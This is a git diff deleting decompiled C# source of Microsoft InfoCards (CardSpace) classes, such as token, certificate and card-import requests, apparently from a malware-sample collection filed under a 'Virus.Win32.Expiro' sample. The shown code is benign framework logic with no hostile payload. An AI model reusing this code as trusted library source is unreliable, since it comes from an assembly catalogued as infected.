securityTokenParameters = (SecureConversationSecurityTokenParameters) protectionTokenParameters; - BindingElementCollection bindingElements1 = new BindingElementCollection(); - if (securityTokenParameters.BootstrapSecurityBindingElement != null) - bindingElements1.Add((BindingElement) securityTokenParameters.BootstrapSecurityBindingElement); - GetBrowserTokenRequest.CheckAndAssignIssuedTokenParameters((SecurityTokenParameters) GetBrowserTokenRequest.TryGetNextStsIssuedTokenParameters(bindingElements1, ref disallowedStpDetected), issuedTokenParameters, ref disallowedStpDetected); - break; - } - GetBrowserTokenRequest.CheckAndAssignIssuedTokenParameters(protectionTokenParameters, issuedTokenParameters, ref disallowedStpDetected); - break; - } - GetBrowserTokenRequest.CheckOptionalTokenParameters(securityBindingElement1.OptionalEndpointSupportingTokenParameters, securityBindingElement1.OptionalOperationSupportingTokenParameters, ref disallowedStpDetected); - return issuedTokenParameters.Value; - } - - public static void CheckAndAssignIssuedTokenParameters( - SecurityTokenParameters stp, - ThrowOnMultipleAssignment issuedTokenParameters, - ref bool disallowedStpDetected) - { - if (stp == null) - return; - InfoCardTrace.Assert(null == stp as SecureConversationSecurityTokenParameters, "Should have already filtered this"); - if (stp is IssuedSecurityTokenParameters || stp is RsaSecurityTokenParameters || stp is SslSecurityTokenParameters || stp is X509SecurityTokenParameters) - issuedTokenParameters.Value = stp as IssuedSecurityTokenParameters; - else - disallowedStpDetected = true; - } - - private static void GetIssuedSecurityTokenParametersFromSupportingTokenParameters( - SupportingTokenParameters parameters, - ThrowOnMultipleAssignment issuedTokenParameters, - ref bool disallowedStpDetected) - { - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromCollection(parameters.Endorsing, issuedTokenParameters, ref disallowedStpDetected); - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromCollection(parameters.SignedEndorsing, issuedTokenParameters, ref disallowedStpDetected); - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromCollection(parameters.Signed, issuedTokenParameters, ref disallowedStpDetected); - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromCollection(parameters.SignedEncrypted, issuedTokenParameters, ref disallowedStpDetected); - } - - private static void GetIssuedSecurityTokenParametersFromCollection( - Collection collection, - ThrowOnMultipleAssignment issuedTokenParameters, - ref bool disallowedStpDetected) - { - foreach (SecurityTokenParameters stp in collection) - { - if (stp is SecureConversationSecurityTokenParameters) - { - SecureConversationSecurityTokenParameters securityTokenParameters = (SecureConversationSecurityTokenParameters) stp; - BindingElementCollection bindingElements = new BindingElementCollection(); - if (securityTokenParameters.BootstrapSecurityBindingElement != null) - bindingElements.Add((BindingElement) securityTokenParameters.BootstrapSecurityBindingElement); - GetBrowserTokenRequest.CheckAndAssignIssuedTokenParameters((SecurityTokenParameters) GetBrowserTokenRequest.TryGetNextStsIssuedTokenParameters(bindingElements, ref disallowedStpDetected), issuedTokenParameters, ref disallowedStpDetected); - } - else - GetBrowserTokenRequest.CheckAndAssignIssuedTokenParameters(stp, issuedTokenParameters, ref disallowedStpDetected); - } - } - - private GetBrowserTokenRequest.CreateIssuedTokenClientCredentials CreateClientCredentials( - ServiceEndpoint svcEpr) - { - GetBrowserTokenRequest.CreateIssuedTokenClientCredentials clientCredentials = new GetBrowserTokenRequest.CreateIssuedTokenClientCredentials(this); - EndpointAddress endpointAddress = svcEpr.Address; - Binding binding = svcEpr.Binding; - X509Certificate2Collection certificate2Collection = new X509Certificate2Collection(); - bool disallowedStpDetected = false; - try - { - while (binding != null) - { - IssuedSecurityTokenParameters issuedTokenParameters = GetBrowserTokenRequest.TryGetNextStsIssuedTokenParameters(binding.CreateBindingElements(), ref disallowedStpDetected); - if (issuedTokenParameters != null) - { - if (disallowedStpDetected) - throw InfoCardTrace.ThrowHelperError((Exception) new UnsupportedPolicyOptionsException()); - if (!((EndpointAddress) null == issuedTokenParameters.IssuerAddress) && !((Uri) null == issuedTokenParameters.IssuerAddress.Uri)) - { - if (endpointAddress.Identity is X509CertificateEndpointIdentity identity) - { - certificate2Collection.AddRange(identity.Certificates); - certificate2Collection.Remove(identity.Certificates[0]); - bool chainTrustPassed = false; - InfoCardX509Validator.ValidateChainOrPeer(identity.Certificates[0], certificate2Collection, out chainTrustPassed); - clientCredentials.ServiceCertificate.ScopedCertificates.Add(endpointAddress.Uri, identity.Certificates[0]); - } - binding = issuedTokenParameters.IssuerBinding; - endpointAddress = issuedTokenParameters.IssuerAddress; - } - else - break; - } - else - break; - } - if (this.m_params.Issuer.LeafCertificate != null) - { - bool chainTrustPassed = false; - InfoCardX509Validator.ValidateChainOrPeer(this.m_params.Issuer.LeafCertificate, this.m_params.Issuer.SupportingCertificates, out chainTrustPassed); - clientCredentials.ServiceCertificate.DefaultCertificate = this.m_params.Issuer.LeafCertificate; - certificate2Collection.AddRange(this.m_params.Issuer.SupportingCertificates); - } - else - { - if (!(svcEpr.Address.Identity is X509CertificateEndpointIdentity identity)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("InvalidIPSTSPolicy"))); - clientCredentials.ServiceCertificate.DefaultCertificate = identity.Certificates[0]; - certificate2Collection.AddRange(identity.Certificates); - certificate2Collection.Remove(identity.Certificates[0]); - } - InfoCardTrace.Assert(null != clientCredentials.ServiceCertificate.DefaultCertificate, "This is configured in both cases above - either via the incoming params or via the endpoint retrieved from mex"); - clientCredentials.ServiceCertificate.Authentication.CertificateValidationMode = X509CertificateValidationMode.Custom; - clientCredentials.ServiceCertificate.Authentication.CustomCertificateValidator = InfoCardX509Validator.Create(certificate2Collection); - } - catch (SecurityTokenValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("RecipientCertificateNotValid"), (Exception) ex)); - } - return clientCredentials; - } - - private void WriteRequestedTokenFrom(XmlReader reader, XmlWriter writer) - { - while (reader.Read()) - { - if (reader.IsStartElement(this.m_protocolProfile.WSTrust.RequestedSecurityToken, this.m_protocolProfile.WSTrust.Namespace)) - { - reader.Read(); - writer.WriteNode(reader, false); - return; - } - } - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NoTokenReturned"))); - } - - private ServiceEndpointCollection GetServiceEndpointCollection( - Uri serviceUri, - Uri mexUri) - { - bool flag = false; - InfoCardMetadataExchangeClient mex = new InfoCardMetadataExchangeClient(); - mex.Proxy = this.UserProxy; - MetadataSet metadataSet = (MetadataSet) null; - mex.ResolveMetadataReferences = true; - mex.MaximumResolvedReferences = InfoCardConstants.MaximumMexChainLength; - EndpointAddress metadataAddress = new EndpointAddress(mexUri, new AddressHeader[0]); - try - { - this.ExecuteCancelable((ClientRequest.AsyncEntryCallback) (() => metadataSet = mex.GetMetadata(metadataAddress)), (ClientRequest.AsyncEntryCallback) (() => mex.Abort())); - flag = true; - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - } - if (!flag) - { - try - { - this.ExecuteCancelable((ClientRequest.AsyncEntryCallback) (() => metadataSet = mex.GetMetadata(mexUri, MetadataExchangeClientMode.HttpGet)), (ClientRequest.AsyncEntryCallback) (() => mex.Abort())); - flag = true; - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - } - } - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("EndpointNotFound"))); - WsdlImporter imp = new WsdlImporter(metadataSet); - imp.State.Add((object) "MetadataExchangeClientKey", (object) mex); - ServiceEndpointCollection serviceEndpoints = (ServiceEndpointCollection) null; - this.ExecuteCancelable((ClientRequest.AsyncEntryCallback) (() => serviceEndpoints = imp.ImportAllEndpoints()), (ClientRequest.AsyncEntryCallback) null); - return serviceEndpoints; - } - - private static BindingElementCollection FedChainUpdateProxyForHttpAndRestrictTransportBinding( - BindingElementCollection bindingElements, - IWebProxy proxy) - { - bindingElements = Utility.UpdateProxyForHttpAndRestrictTransportBinding(bindingElements, proxy, true); - bool disallowedStpDetected = false; - IssuedSecurityTokenParameters issuedTokenParameters = GetBrowserTokenRequest.TryGetNextStsIssuedTokenParameters(bindingElements, ref disallowedStpDetected); - if (issuedTokenParameters != null && (EndpointAddress) null != issuedTokenParameters.IssuerAddress && (Uri) null != issuedTokenParameters.IssuerAddress.Uri && issuedTokenParameters.IssuerBinding != null) - issuedTokenParameters.IssuerBinding = (Binding) new CustomBinding(GetBrowserTokenRequest.FedChainUpdateProxyForHttpAndRestrictTransportBinding(issuedTokenParameters.IssuerBinding.CreateBindingElements(), proxy)); - return bindingElements; - } - - private static Binding FedChainUpdateProxyAndRestrictTransportBindingWrapper( - Binding binding, - IWebProxy proxy) - { - return (Binding) new CustomBinding(GetBrowserTokenRequest.FedChainUpdateProxyForHttpAndRestrictTransportBinding(binding.CreateBindingElements(), proxy)); - } - - private SecurityToken CreateIssuedToken( - CardSpacePolicyElement[] policyElements, - SecurityTokenSerializer tokenSerializer) - { - WindowsImpersonationContext impersonationContext = this.RequestorIdentity.Impersonate(); - try - { - try - { - int index1 = policyElements.Length - 1; - InfoCardTrace.Assert(0 <= index1, "lastElementIndex should be non-negative"); - if (policyElements[index1].IsManagedIssuer) - --index1; - int length = index1; - if (0 < length) - { - InfoCardPolicy[] infoCardPolicyArray = new InfoCardPolicy[length]; - for (int index2 = 0; index2 < length; ++index2) - { - infoCardPolicyArray[index2] = PolicyFactory.CreatePolicyForIntermediateGetBrowserTokenRequest(policyElements[index2], (Uri) null, 0U, (RecipientIdentity) null); - infoCardPolicyArray[index2].Validate(); - } - } - InfoCardPolicy browserTokenRequest = PolicyFactory.CreatePolicyForGetBrowserTokenRequest(policyElements[index1], this.m_params.PrivacyUrl, this.m_params.PrivacyVersion, RecipientIdentity.CreateIdentity(this.m_params.Recipient.CreateEndpointAddress(), true), PolicyUsageContext.GetToken); - browserTokenRequest.Validate(); - this.Policy = browserTokenRequest; - base.OnProcess(); - if (this.ProcessingException != null) - throw InfoCardTrace.ThrowHelperError(this.ProcessingException); - SecurityKeyIdentifierClause internalTokenReference = tokenSerializer.ReadKeyIdentifierClause((XmlReader) Utility.CreateReaderWithQuotas(this.Token.InternalTokenReference)); - SecurityKeyIdentifierClause externalTokenReference = tokenSerializer.ReadKeyIdentifierClause((XmlReader) Utility.CreateReaderWithQuotas(this.Token.ExternalTokenReference)); - this.m_proofToken = this.Token.SymmetricProof != null ? new SelfIssuedAuthProofToken(new InMemorySymmetricSecurityKey(this.Token.SymmetricProof.Key), this.Token.ExpirationTime) : new SelfIssuedAuthProofToken(this.GetPrivateCryptography(), this.Token.ExpirationTime); - return (SecurityToken) new GenericXmlSecurityToken(this.Token.ProtectedToken, (SecurityToken) this.m_proofToken, this.Token.EffectiveTime, this.Token.ExpirationTime, internalTokenReference, externalTokenReference, (ReadOnlyCollection) null); - } - finally - { - impersonationContext.Undo(); - } - } - catch - { - throw; - } - } - - protected override void OnDisposeAsUser() - { - base.OnDisposeAsUser(); - if (this.m_proofToken == null) - return; - this.m_proofToken.Dispose(); - this.m_proofToken = (SelfIssuedAuthProofToken) null; - } - - private class CreateIssuedTokenClientCredentials : ClientCredentials - { - private GetBrowserTokenRequest request; - - public CreateIssuedTokenClientCredentials(GetBrowserTokenRequest request) - { - InfoCardTrace.ThrowInvalidArgumentConditional(request == null, nameof (request)); - this.request = request; - } - - protected internal CreateIssuedTokenClientCredentials( - GetBrowserTokenRequest.CreateIssuedTokenClientCredentials other) - : base((ClientCredentials) other) - { - this.request = other.request; - } - - protected override ClientCredentials CloneCore() => (ClientCredentials) new GetBrowserTokenRequest.CreateIssuedTokenClientCredentials(this); - - protected internal override SecurityToken GetInfoCardSecurityToken( - bool requiresInfoCard, - CardSpacePolicyElement[] chain, - SecurityTokenSerializer tokenSerializer) - { - return this.request.CreateIssuedToken(chain, tokenSerializer); - } - - public override void ApplyClientBehavior( - ServiceEndpoint serviceEndpoint, - ClientRuntime behavior) - { - base.ApplyClientBehavior(serviceEndpoint, behavior); - bool flag = false; - foreach (IInteractiveChannelInitializer channelInitializer in behavior.InteractiveChannelInitializers) - { - if (channelInitializer is InfocardInteractiveChannelInitializer) - { - flag = true; - break; - } - } - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IdentityProviderRequestedUnsupportedAuthType"))); - } - } - - [ServiceContract] - internal interface ISts - { - [OperationContract(Action = "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue", Name = "ProcessRequestSecurityTokenFeb2005", ProtectionLevel = ProtectionLevel.EncryptAndSign, ReplyAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue")] - Message ProcessRequestSecurityTokenFeb2005(Message rstMessage); - - [OperationContract(Action = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/Issue", Name = "ProcessRequestSecurityTokenWSTrust13", ProtectionLevel = ProtectionLevel.EncryptAndSign, ReplyAction = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTRC/IssueFinal")] - Message ProcessRequestSecurityTokenWSTrust13(Message rstMessage); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetCardDetailsRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetCardDetailsRequest.cs deleted file mode 100644 index d9d4c4fd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetCardDetailsRequest.cs +++ /dev/null @@ -1,42 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetCardDetailsRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetCardDetailsRequest : UIAgentRequest - { - private InfoCard m_card; - private bool m_cardMatchesPolicyRequirements; - - public GetCardDetailsRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() - { - Stream inArgs = this.InArgs; - this.m_card = new InfoCard(inArgs); - this.m_card.GetExtendedInformation().Deserialize(inArgs); - this.m_card.GetRPIdentityRequirement().Deserialize(inArgs); - this.m_card.GetClaims().Deserialize(inArgs); - } - - protected override void OnProcess() => this.m_cardMatchesPolicyRequirements = this.m_card.DoesCardMatchPolicySet(this.GetPolicy()); - - protected override void OnMarshalOutArgs() => new BinaryWriter(this.OutArgs, Encoding.Unicode).Write(this.m_cardMatchesPolicyRequirements); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetCertificateRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetCertificateRequest.cs deleted file mode 100644 index 13d62fc9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetCertificateRequest.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetCertificateRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Security.Cryptography.X509Certificates; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetCertificateRequest : UIAgentRequest - { - private string m_recipientIdentifier; - private X509Certificate2 m_certificate; - - public GetCertificateRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() => this.m_recipientIdentifier = Utility.DeserializeString(new BinaryReader(this.InArgs, Encoding.Unicode)); - - protected override void OnProcess() - { - this.m_certificate = this.ParentRequest.CertCacheFind(this.m_recipientIdentifier); - if (this.m_certificate == null) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("NoCachedCertificateForRecipient"))); - } - - protected override void OnMarshalOutArgs() => Utility.SerializeBytes(new BinaryWriter(this.OutArgs, Encoding.Unicode), this.m_certificate.GetRawCertData()); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetCryptoTransformRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetCryptoTransformRequest.cs deleted file mode 100644 index 272ab6a2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetCryptoTransformRequest.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetCryptoTransformRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetCryptoTransformRequest : ClientRequest - { - private int m_cryptoSession; - private CipherMode m_mode; - private PaddingMode m_padding; - private int m_feedbackSize; - private SymmetricCryptoSession.Direction m_direction; - private byte[] m_iv; - private TransformCryptoSession m_transformSession; - - public GetCryptoTransformRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_cryptoSession = binaryReader.ReadInt32(); - this.m_mode = (CipherMode) binaryReader.ReadInt32(); - this.m_padding = (PaddingMode) binaryReader.ReadInt32(); - this.m_feedbackSize = binaryReader.ReadInt32(); - this.m_direction = (SymmetricCryptoSession.Direction) binaryReader.ReadInt32(); - this.m_iv = binaryReader.ReadBytes(binaryReader.ReadInt32()); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_feedbackSize, "feedbackSize"); - } - - protected override void OnProcess() => this.m_transformSession = ((SymmetricCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).GetCryptoTransform(this.m_mode, this.m_padding, this.m_feedbackSize, this.m_direction, this.m_iv); - - protected override void OnMarshalOutArgs() - { - BinaryWriter bwriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - this.m_transformSession.Write(bwriter); - bwriter.Flush(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetFileNameResult.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetFileNameResult.cs deleted file mode 100644 index 90693c3c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetFileNameResult.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetFileNameResult -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -namespace Microsoft.InfoCards -{ - internal class GetFileNameResult - { - private string m_fileName; - private byte[] m_fileContent; - - public string FileName - { - set => this.m_fileName = value; - get => this.m_fileName; - } - - public byte[] FileContent - { - set => this.m_fileContent = value; - get => this.m_fileContent; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetImportFileNameRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetImportFileNameRequest.cs deleted file mode 100644 index 0435000d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetImportFileNameRequest.cs +++ /dev/null @@ -1,44 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetImportFileNameRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetImportFileNameRequest : UIAgentRequest - { - private string m_filename = string.Empty; - - public GetImportFileNameRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - if (this.ParentRequest is ImportRequest) - { - this.m_filename = (this.ParentRequest as ImportRequest).ImportedFile; - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_filename), "No file name provided for import"); - } - else - InfoCardTrace.Assert(false, "The parent of this request MUST be ImportRequest"); - } - - protected override void OnMarshalOutArgs() => Utility.SerializeString(new BinaryWriter(this.OutArgs, Encoding.Unicode), this.m_filename); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetImportedCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetImportedCardRequest.cs deleted file mode 100644 index 33b25985..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetImportedCardRequest.cs +++ /dev/null @@ -1,120 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetImportedCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IO; -using System.Security.Cryptography.X509Certificates; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetImportedCardRequest : UIAgentRequest - { - private InfoCard m_card; - private Recipient m_issuer; - private string m_filename; - private string m_policyLink; - private InfoCardPolicy m_policy; - private GetImportedCardRequest.ImportCardMatchStatus m_matchFlag; - - public GetImportedCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - this.m_matchFlag = GetImportedCardRequest.ImportCardMatchStatus.MatchNone; - } - - protected override void OnInitializeAsSystem() - { - base.OnInitializeAsSystem(); - this.m_policy = this.GetPolicy(); - } - - protected override void OnMarshalInArgs() => this.m_filename = Utility.DeserializeString((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_filename), "No file name provided for import"); - InfoCardXmlSerializer cardXmlSerializer = new InfoCardXmlSerializer(connection); - cardXmlSerializer.CheckSignature = true; - cardXmlSerializer.Deserialize(this.m_filename); - this.m_card = cardXmlSerializer.Card; - this.m_card.IsImported = true; - this.m_card.InstalledOn = DateTime.Now; - X509Certificate2 issuer = cardXmlSerializer.Issuer; - if (issuer == null || this.m_card == null || !this.m_card.IsComplete()) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - Recipient.RecipientCertParameters recipientParams; - string recipientIdHash = Recipient.CertGetRecipientIdHash(issuer, cardXmlSerializer.AdditionalIssuerCerts, cardXmlSerializer.IsIssuerChainTrusted, out recipientParams); - string organizationIdHash = Recipient.CertGetRecipientOrganizationIdHash(issuer, cardXmlSerializer.AdditionalIssuerCerts, cardXmlSerializer.IsIssuerChainTrusted); - this.ParentRequest.CertCacheAdd(recipientIdHash, issuer); - this.m_issuer = new Recipient(issuer, recipientIdHash, organizationIdHash, true, this.m_card.PrivacyPolicyVersion, recipientParams); - this.m_card.IssuerName = !this.m_issuer.IsOrganizationVerified() ? this.m_issuer.RecipientParameters.m_cn : this.m_issuer.RecipientParameters.m_organization; - this.m_policyLink = this.m_card.PrivacyPolicyLink; - DataRow singleRow = connection.GetSingleRow(QueryDetails.FullRow, new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) 1 - }), - new QueryParameter("ix_globalid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_card.Id.ToString()) - }) - }.ToArray()); - if (singleRow == null) - return; - using (MemoryStream memoryStream = new MemoryStream(singleRow.GetDataField())) - { - InfoCard card = new InfoCard((Stream) memoryStream); - this.m_matchFlag = (int) card.Epoch != (int) this.m_card.Epoch ? (card.Epoch >= this.m_card.Epoch ? GetImportedCardRequest.ImportCardMatchStatus.MatchNewerVersion : GetImportedCardRequest.ImportCardMatchStatus.MatchOlderVersion) : GetImportedCardRequest.ImportCardMatchStatus.MatchSameVersion; - this.m_card.CopyMetaData(card); - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - Stream outArgs = this.OutArgs; - if (this.m_card == null || this.m_issuer == null || !this.m_card.IsComplete()) - return; - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_card.AgentSerialize(outArgs, this.ParentRequest is GetTokenRequest, this.m_policy, connection, new CultureInfo(this.ParentRequest.UserLanguage)); - BinaryWriter writer = new BinaryWriter(outArgs, Encoding.Unicode); - this.m_issuer.Serialize(writer); - Utility.SerializeString(writer, this.m_policyLink); - writer.Write((byte) this.m_matchFlag); - } - finally - { - connection.Close(); - } - } - - public enum ImportCardMatchStatus : byte - { - MatchNone, - MatchSameVersion, - MatchNewerVersion, - MatchOlderVersion, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetIsBrowserClientRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetIsBrowserClientRequest.cs deleted file mode 100644 index b329b0b6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetIsBrowserClientRequest.cs +++ /dev/null @@ -1,34 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetIsBrowserClientRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetIsBrowserClientRequest : UIAgentRequest - { - public GetIsBrowserClientRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, 